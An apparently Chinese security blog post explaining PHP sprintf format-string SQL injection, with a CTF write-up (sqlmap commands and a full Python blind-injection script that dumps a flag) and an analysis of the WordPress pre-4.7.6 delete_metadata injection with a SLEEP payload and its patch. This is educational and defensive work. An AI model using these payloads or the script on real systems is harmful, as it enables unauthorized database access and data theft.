0x00 前言
从相遇到相识
从相识到相知
.........
不过你真的懂ta吗
这次故事的主角是PHP中的格式化函数sprintf
具体详见:http://bey0nd.xyz/2018/11/05/1/
0x01 sprintf()讲解
首先我们先了解sprintf()函数
sprintf() 函数把格式化的字符串写入变量中。
sprintf(format,arg1,arg2,arg++)
arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。
注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "\$" 组成。
详细看一下sprintf的用法
语法
sprintf(format,arg1,arg2,arg++)
参数 |
描述 |
format |
必需。规定字符串以及如何格式化其中的变量。 可能的格式值: %% - 返回一个百分号 % %b - 二进制数 %c - ASCII 值对应的字符 %d - 包含正负号的十进制数(负数、0、正数) %e - 使用小写的科学计数法(例如 1.2e+2) %E - 使用大写的科学计数法(例如 1.2E+2) %u - 不包含正负号的十进制数(大于等于 0) %f - 浮点数(本地设置) %F - 浮点数(非本地设置) %g - 较短的 %e 和 %f %G - 较短的 %E 和 %f %o - 八进制数 %s - 字符串 %x - 十六进制数(小写字母) %X - 十六进制数(大写字母) 附加的格式值。必需放置在 % 和字母之间(例如 %.2f): + (在数字前面加上 + 或 - 来定义数字的正负性。默认情况下,只有负数才做标记,正数不做标记) ' (规定使用什么作为填充,默认是空格。它必须与宽度指定器一起使用。例如:%'x20s(使用 "x" 作为填充)) - (左调整变量值) [0-9] (规定变量值的最小宽度) .[0-9] (规定小数位数或最大字符串长度) 注释:如果使用多个上述的格式值,它们必须按照以上顺序使用。 |
arg1 |
必需。规定插到 format 字符串中第一个 % 符号处的参数。 |
arg2 |
可选。规定插到 format 字符串中第二个 % 符号处的参数。 |
arg++ |
可选。规定插到 format 字符串中第三、四等 % 符号处的参数。 |
返回值: |
返回已格式化的字符串。 |
PHP 版本: |
4+ |
通过几个例子回顾一下sprintf
例子1:
不带小数:%1\$u",$number);
echo $txt;
?>
输出结果:
带有两位小数:123.00
不带小数:123
例子2:
"; // 二进制数
echo sprintf("%%c = %c",$char)."
"; // ASCII 字符
echo sprintf("%%s = %s",$num1)."
"; // 字符串
echo sprintf("%%x = %x",$num1)."
"; // 十六进制数(小写)
echo sprintf("%%X = %X",$num1)."
"; // 十六进制数(大写)
?>
输出结果:
%b = 111010110111100110100010101
%c = 2 //注意var_dump('2')为string
%s = 123456789
%x = 75bcd15
%X = 75BCD15
0x02 sprintf注入原理
我们来看一下sprintf()的底层实现方法
switch (format[inpos]) {
case 's':
{
zend_string * t;
zend_string * str = zval_get_tmp_string(tmp, &t);
php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);
zend_tmp_string_release(t);
break;
}
case 'd':
php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);
break;
case 'u':
php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);
break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);
break;
case 'c':
php_sprintf_appendchar( & result, &outpos, (char) zval_get_long(tmp));
break;
case 'o':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);
break;
case 'x':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);
break;
case 'X':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);
break;
case 'b':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);
break;
case '%':
php_sprintf_appendchar( & result, &outpos, '%');
break;
default:
break;
}
可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题:
没做字符类型检测的最大危害就是它可以吃掉一个转义符\, 如果%后面出现一个\,那么php会把\当作一个格式化字符的类型而吃掉\, 最后%\(或%1$\)被替换为空
因此sprintf注入,或者说php格式化字符串注入的原理为:
要明白%后的一个字符(除了%,%上面表格已经给出了)都会被当作字符型类型而被吃掉,也就是被当作一个类型进行匹配后面的变量,比如%c匹配asciii码,%d匹配整数,如果不在定义的也会匹配,匹配空,比如%\,这样我们的目的只有一个,使得单引号逃逸,也就是能够起到闭合的作用。
这里我们举两个例子
NO.1
不使用占位符号
echo sprintf("select * from user where username = '%\' and 1=1#';", "admin");
//此时%\回去匹配admin字符串,但是%\只会匹配空
运行后的结果
select * from user where username = '' and 1=1#'
NO.2
使用占位符号
运行后的结果
SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'
对于这个问题,我们还可以这样写
$sql = sprintf ("SELECT * FROM table WHERE a='%1$\' AND b='%d' and 1=1#' ",'admin');
//result: SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'
第一个格式化处匹配时为空,会让给后面的格式化匹配
以上两个例子是吃掉'\'来使得单引号逃逸出来
下面这个例子我们构造单引号
NO.3
对%c进行利用
php
$input1 = '%1$c) OR 1 = 1 /*' ;
$input2 = 39 ;
$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;
$sql = sprintf ( $sql , $input2 );
echo $sql ;
%c起到了类似chr()的效果,将数字39转化为‘,从而导致了sql注入。
所以结果为:
SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39
总结
漏洞利用条件
1、sql语句进行了字符拼接
2、拼接语句和原sql语句都用了vsprintf/sprintf 函数来格式化字符串
形式很像SQL注入,而且题目中提示为SQLI
先试了一下弱口令,确定username为admin
那么就对username与password进行注入,开始普通注入,二次解码,宽字节,过滤空格,过滤关键字等姿势进行构造注入语句都无果,而且还耗费大量的时间,不过后来get到一种新姿势,使用burpsuit的intruder跑一下,来查看那些字母或者字符没有被过滤掉(waf字典)
后来发现%可疑,于是拿出来repeater一下
sprintf函数出错,那么sprintf是什么?格式化字符串,于是乎就懂得其中的原理了,是让单引号逃逸
构造username=admin%1$\' and 1=2# 与 username=admin%1$\' and 1=1#
发现如下的结果
可以发现'后面的语句带入执行了,这就是注入点,使用sqlmap跑一下
抓去post包
python sqlmap.py -r 3.txt -p username --level 3 --dbs --thread 10
对ctf库跑tables
得到
对flag跑columns
得到
对每个列进行dump但是dump下来不对,找了一波原因没有找到,开始用脚本跑
跑完后才发现sqlmap跑出来的列不对,应该是flag,于是
python sqlmap.py -r 3.txt -p username --level 3 -D ctf -T flag -C flag --dump --thread 10
才得到正确结果 :) (希望能得到大佬们的指正)
下面是脚本跑的
中心思想
先判断length
然后使用ascii判断字母
ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
使用这个语句进行判断
代码:
#coding:utf-8
import requests
import string
def boom():
url = r'http://f6f0cdc51f8141a6b1a8634161859c1c78499dc70eea47f0.game.ichunqiu.com/'
s = requests.session()
//会话对象requests.Session能够跨请求地保持某些参数,比如cookies,即在同一个Session实例发出的所有请求都保持同一个cookies,而requests模块每次会自动处理cookies,这样就很方便地处理登录时的cookies问题。
dic = string.digits + string.letters + "!@#$%^&*()_+{}-="
right = 'password error!'
error = 'username error!'
lens = 0
i = 0
//确定当前数据库的长度
while True:
payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
data={'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens=i
break
i+=1
pass
print("[+]length(database()): %d" %(lens))
//确定当前数据库的名字
strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]database():%s" %(strs))
lens=0
i = 1
while True:
payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"
//对当前的数据库,查询第一个表的长度
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens = i
break
i+=1
pass
print("[+]length(table): %d" %(lens))
strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"
// 数字一定要str才可以传入
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]table_name:%s" %(strs))
tablename = '0x' + strs.encode('hex')
//编码为16进制
table_name = strs
lens=0
i = 0
while True:
payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens = i
break
i+=1
pass
print("[+]length(column): %d" %(lens))
strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]column_name:%s" %(strs))
column_name = strs
num=0
i = 0
while True:
payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
num = i
break
i+=1
pass
print("[+]number(column): %d" %(num))
lens=0
i = 0
while True:
payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens = i
break
i+=1
pass
print("[+]length(value): %d" %(lens))
i=1
strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
data = {'username':payload,'password':'1'}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]flag:%s" %(strs))
if __name__ == '__main__':
boom()
print 'Finish!'
0x04 Wordpress格式化字符串漏洞
wordpress版本小于4.7.5在后台图片删除的地方存在一处格式化字符串漏洞
官方在4.7.6已经给出了补救办法
在我们即将要说的地方增加了这么一端代码
$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents
只允许 %后面出现dsF 这三种字符类型, 其他字符类型都替换为%%\\1, 而且还禁止了%, $ 这种参数定位
首先
我们找到upload.php
可以发现在deleta中 $post_id_del(比如int()) 未经过处理,直接传入
case 'delete':
if ( !isset( $post_ids ) )
break;
foreach ( (array) $post_ids as $post_id_del ) {
if ( !current_user_can( 'delete_post', $post_id_del ) ) //跟进
wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
if ( !wp_delete_attachment( $post_id_del ) )
wp_die( __( 'Error in deleting.' ) );
}
$location = add_query_arg( 'deleted', count( $post_ids ), $location );
break;
跟进wp_delete_attachment( )函数
其中参数$post_id_del为图片的postid
wp_delete_attachment( )中 调用了delete_metadata 函数
function wp_delete_attachment( $post_id, $force_delete = false ) {
.......
delete_metadata( 'post', null, '_thumbnail_id', $post_id, true ); // delete all for any posts.
......
}
继续跟进delete_metadata函数
漏洞触发点主要在wp-includes/meta.php 的 delete_metadata函数里面, 有如下代码:
if ($delete_all) {
$value_clause = '';
if ('' !== $meta_value && null !== $meta_value && false !== $meta_value) {
$value_clause = $wpdb - >prepare(" AND meta_value = %s", $meta_value);
}
$object_ids = $wpdb - >get_col($wpdb - >prepare("SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key));
}
调用了两个prepare函数
跟进prepare函数
public function prepare( $query, $args ) {
if ( is_null( $query ) )
return;
// This is not meant to be foolproof -- but it will catch obviously incorrect usage.
if ( strpos( $query, '%' ) === false ) {
_doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );
}
$args = func_get_args();
array_shift( $args );
// If args were passed as an array (as in vsprintf), move them up
if ( isset( $args[0] ) && is_array($args[0]) )
$args = $args[0];
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?
详细看prepare函数对传入参数的处理过程
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?
把'%s'替换为%s,然后再把"%s"替换成%s,替换为浮点数%F 把%s替换成 '%s'
最后再进行vsprintf( $query, $args );
对拼接的语句进行格式化处理
我们一步步分析
假设传入的$meta_value为'admin'
$wpdb->prepare( " AND meta_value = %s", $meta_value );
经过prepare函数处理后得到
vsprintf( " AND meta_value = '%s'",'admin')
=> AND meta_value = 'admin'
return到上一级函数后,继续执行这一条拼接语句:
$wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key )
经过prepare函数处理后得到
vsprintf( "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = 'admin'",'admin')
=> SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'admin'
看起来一切都很正常,毫无bug
但是我们可以思考一下,怎样使其形成注入呢?或者说怎样逃逸一个单引号?
在之前我们先看一下,可控变量 $post_id_del 的路线
$post_id_del => $post_id => $meta_value => $args => $query
显然这里面两处admin都有单引号,而且两处都与 $post_id_del 联系,如何来选择?
对于第一处单引号
它是通过一次替换处理得到的,显然是对单引号无法处理
对于第二处单引号
经过两次的替换,(这里的意思是执行了两次的替换代码,可能第二段代码对他没有起到实质性的作用,仅仅是去点单引号然后又加上单引号)
但是这一出经过了两次处理是必须的,那么我们是否能够是构造出另一个单引号(此时第二处有三个单引号)就可以闭合前面的单引号了
最重要的是,第二次的替换处理的变量是可控的,因此要引入单引号,我们需要$meta_value含有%s
那么第一次的结果为
AND meta_value = 'X%sY'(其中XY为未知量)
//这里需要注意,为什么%s不被单引号围起来,我看过一片博客,它是写的'%s',这显然是错的,为什么呢?我们生成了'%s'是没错,不过还原一下过程就知道了,首先我们生成了AND meta_value = '%s',注意此时与$meta_value没有半毛钱关系,后来的vsprintf后,才与$meta_value有了关系,原来的%s被替换成了X%sY,值得注意的是这里的%s没有经过任何处理,处理是在第二轮进行的,这是后话。
第二次后的结果为
SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'X'%s'Y'
对于第二处的%s我们先不要带入格式化后的值,其实真实的语句应该为:
SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'X'admin'Y'
分析到这里,相信大家应该知道传值($meta_value)使单引号逃逸出来了吧
admin显然是多余的,那么我们需要把它放在单引号里面,因此第二个单引号需要去掉,那么第四个单引号需要注释掉,这就很轻而易举地构造sql语句
AND meta_value = 'Xadmin'Y
Y里面就是我们注入的代码
怎么去传值呢?
利用格式化字符串漏洞
去掉第二个单引号就需要使该单引号成为%后的第一个字符,也就是%',但是我们还需要一个占位符,%1$' 这样就没有报错的去掉了该单引号
所以我们构造的payload为
$meta_value = %1$%s AND SLEEP(5)#
=> AND meta_value = '%1$%s AND SLEEP(5)'
=> "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = AND meta_value = '%1$'%s' AND SLEEP(5)#'",'admin'
其中 %1$' => 空
=> SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = AND meta_value = 'admin' AND SLEEP(5)#'
成功利用该漏洞形成时间注入
现在我们说一下第四部分开头的补救方法
后来官方在prepare函数加了这一代码
$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents
只允许 %后面出现dsF 这三种字符类型, 其他字符类型都替换为%%\\1, 而且还禁止了%, $ 这种参数定位